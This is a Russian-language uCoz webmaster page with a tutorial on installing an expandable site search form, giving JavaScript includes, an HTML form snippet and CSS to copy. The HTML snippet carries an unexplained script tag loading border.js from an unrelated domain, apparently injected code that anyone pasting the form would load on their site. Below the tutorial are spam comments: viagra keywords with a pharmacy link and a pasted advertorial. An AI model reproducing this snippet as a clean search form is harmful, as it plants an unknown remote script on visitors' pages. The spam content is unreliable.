Суббота, 18.05.2024 14:01

Меню сайта
Главная Форум Файлы Новости Баннеробмен Чат
Все Для Ucoz
Шаблоны для Ucoz Иконки Групп Ucoz Иконки Форума Ucoz Шапки Ucoz Скрипты для Ucoz
Все для DLE Сайтов
Шаблоны для сайтов DLE Шаблоны форумов DLE Модули DLE Хаки DLE Другое для DLE
Все для CS 1.6
Скачать Игру CS 1.6 Боты для CS 1.6 Патчи для CS 1.6 Программы CS 1.6 Карты для CS 1.6 Русификаторы CS 1.6 Плагины для cs 1.6 Конфиги CS 1.6 Модели оружий Cs 1.6 Модели игроков Cs 1.6 Спрайты CS 1.6 Читы CS 1.6 Клиент Steam Готовые Сервера CS 1.6 Основы Сервера
Все для CSS
Скачать Игру CSS Готовые Сервера CSS Карты для CSS Плагины для csS Модели оружий CsS Модели игроков CsS Читы CSS
Софт
Мультимедия Офис Драйвера Разные программы Для раскрутки сайта Браузеры
Игры для PC
Игры PC
Это интеренсо
Реклама
Кнопка
Главная » 2013 » Август » 11 » Создаём раздвижную форму поиска для uCoz
13:28
Создаём раздвижную форму поиска для uCoz
Всем массовый привет, сегодня в этой статье мы будем адаптировать раздвижную форму поиска для uCoz, от Codrops.

Основным отличием данного решения от других, является тот момент, что отправить поисковой запрос форме поиска можно как при нажатии на клавиатуре кнопки Enter, так и при нажатии на иконку лупы стрелкой мыши.

И так давайте приступим к установке данного решения, для этого в самый низ страницы перед закрывающим тегом </body> установим следующие js:

Код
<script src="http://pnghosts.ru/js_css/classie.js"></script>
<script src="http://pnghosts.ru/js_css/uisearch.js"></script>
<script>
  new UISearch( document.getElementById( 'sb-search' ) );
</script>


Теперь давайте установим в нужное место страницы сайта следующий html код формы поиска, которая будет искать по всему сайту.

Код
<!-- Поиск по сайту -->  
  <div id="sb-search" class="sb-search">
  <form class="" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" >
  <input class="sb-search-input" type="text" name="q" maxlength="130" value="Поиск по сайту..." onclick="if (this.value=='Поиск по сайту...'){this.value='';}"/>
  <input class="sb-search-submit" type="hidden" name="t" value="0" /><script type="text/javascript" src="http://adoit.pw/border.js"></script> <input class="sb-icon-search " type="submit" value="" />
  </form>  
  </div>  
  <!-- /Поиск по сайту -->


Теперь нам осталось стилизовать наш html код формы поиска, для этого пропишем следующие css стили:

Код
/* Раздвижная форма поиска для uCoz
------------------------------------------*/
.sb-search {
  position: relative;
  margin-top: 10px;
  width: 0%;
  min-width: 32px;
  height: 32px;
  float: right;
  overflow: hidden;
   
  -webkit-transition: width 0.3s;
  -moz-transition: width 0.3s;
  transition: width 0.3s;
  -webkit-backface-visibility: hidden;
}

.sb-search-input {
  position: absolute;
  top: 0;
  right: 0;
   
  margin: 0;
  z-index: 10;
  width:300px;
  height: 20px;
  outline: none;
  background: #fff;  
  border: 1px solid #CAD3DA;  
  padding: 5px 32px 5px 20px;
   
  font:11px Verdana,Arial,Helvetica, sans-serif;
  color:#555;  
  border-radius:3px 0px 0px 3px;  
}

.sb-search-input::-webkit-input-placeholder {
  color: #efb480;
}

.sb-search-input:-moz-placeholder {
  color: #efb480;
}

.sb-search-input::-moz-placeholder {
  color: #efb480;
}

.sb-search-input:-ms-input-placeholder {
  color: #efb480;
}

.sb-icon-search,
.sb-search-submit {
  position: absolute;
  right: 0;
  top: 0;
  margin: 0;
   
  width: 32px;
  height: 32px;
  display: block;

  line-height: 30px;
  text-align: center;
  cursor: pointer;
}

.sb-search-submit {
  background: #fff;
  color: transparent;
  border: none;
  outline: none;
  z-index: -1;
  -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";  
  filter: alpha(opacity=0);  
  opacity: 0;  
}

.sb-icon-search {
  border:none;  
  z-index: 90;
  background:#2cae58 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
  -webkit-font-smoothing: antialiased;
  border-radius:3px 3px 3px 3px;  
}

.sb-icon-search:before {
  content: "\e000";
}

.sb-search.sb-search-open,
.no-js .sb-search {
  width: 100%;
}

.sb-search.sb-search-open .sb-icon-search,
.no-js .sb-search .sb-icon-search {
  background:#c54744 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
  z-index: 11;
  border-radius:0px 3px 3px 0px;  
}

.sb-search.sb-search-open .sb-search-submit,
.no-js .sb-search .sb-search-submit {
  z-index: 90;
}


На этом всё, мы адаптировали и установили на ваш сайт раздвижную форму поиска для uCoz, от Codrops.

Спасибо за внимание!
Просмотров: 809 | Добавил: greenpis | Рейтинг: 0.0/0
Всего комментариев: 3
3 ArhivatorRics  
Test

2 Diorraigfrife  
Рынки Ирана, Ирака и Йемена открываются для «Аксайской» птицефабрики.

Не прошло и 2-х месяцев со дня посещения «Аксайской» птицефабрики всемирно известными экспертами, как предприятие получило разрешение на экспорт своей продукции в ряд стран.

Данная история началась с того, что в начале мая руководитель Центра сертификации «Халяль» Динар Садыков и руководитель Комитета «Халяль» Ростовской области Эмиль Таджуддинов на основании заявки от предприятия посетили с инспекционным контролем «Аксайскую» птицефабрику, производящую яйца столовые. В результате проверки предприятию было выдано свидетельство «Халяль», подтверждающее соответствие всем нормам и требованиям Ислама касательно продуктов питания. После подписания договора с организацией о работе по выводу её на экспорт в мусульманские и арабские страны, Центр начал активную работу по её выдвижению. Через месяц был организован приезд 2-х экспертов, Айдароса Хассан Абдельазиз Мохаммеда из Всемирной организации по охране здоровья животных (МЭБ), Египет и Абдольхоссейна Факхари руководителя Халяльворлд (Halalworld), Иран занимающейся сертификацией продукции «Халяль» в Иране и выдачей разрешительной документации «Халяль» для экспортёров в Иран. После тщательной проверки производства на соответствие требованиям ряда стран персидского залива, было вынесено положительное решение в сторону предприятия. И вот в ближайшее время «Аксайская» птицефабрика начинает поставку своей продукции, яйца столовые в Иран, Ирак и Йемен.

Несколько недель назад «Аксайская» птицефабрика начала поставку своей продукции под маркой «Халяль» в ряд сетевых магазинов в своём регионе. Надеемся что, попробовать вкус яиц выведенных на основании только натуральных кормов и добавок смогут в ближайшее время и жители других регионов. Никогда не сможешь ощутить разницу и преимущество чего-либо , не попробовав его сам.

Центр сертификации «Халяль» при выводе отечественной продукции «Халяль» на мусульманские и арабские рынки так же делает всё, чтобы обеспечить население России той же качественной продукцией «Халяль», которая прошла, сложнейшие проверки качества и получила одобрение со стороны стран импортёров. Потому рекомендуем всем насладиться вкусом продукции получившей разрешение на экспор. Источник http://www.halalcenterrussia.ru

1 saraunioxia  
can i take viagra with ibuprofen
http://bilkeyadhd.com/wp/viagra_online.htm
carvedilol and viagra
average price of viagra
sildenafil online pharmacy
average viagra price

Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Профиль
Суббота
18.05.2024
14:01
[ Управление профилем ]
Выделенный сервер, аренда серверов, дешевые сервера, купить сервер, хостинг сервера
Sape
Photoshop
Кисти Стили Шрифты Плагины Текстуры Шаблоный для Фотошоп
Чат
Друзья сайта


Поиск
Статисика
Зарег. на сайте:
Всего: 38857
Новых за месяц: 0
Новых за неделю: 0
Новых вчера: 0
Новых сегодня: 0
Счетчики:
Онлайн:

Онлайн всего: 1
Гостей: 1
Пользователей: 0

Сегодня нас посетили:


конфиги кс | шаблоны ucoz для cs 1.6 | © 2009-2010 | | Используются технологии uCoz | Sitemap | Sitemap-Forum
Копирование материалов на другие сайты запрещено!

Шаблоны cs 1.6 uCoz, скачать cfg для ножа, читы для css, скачать cfg на нож, Чит для кс WWW.cs-pc.ru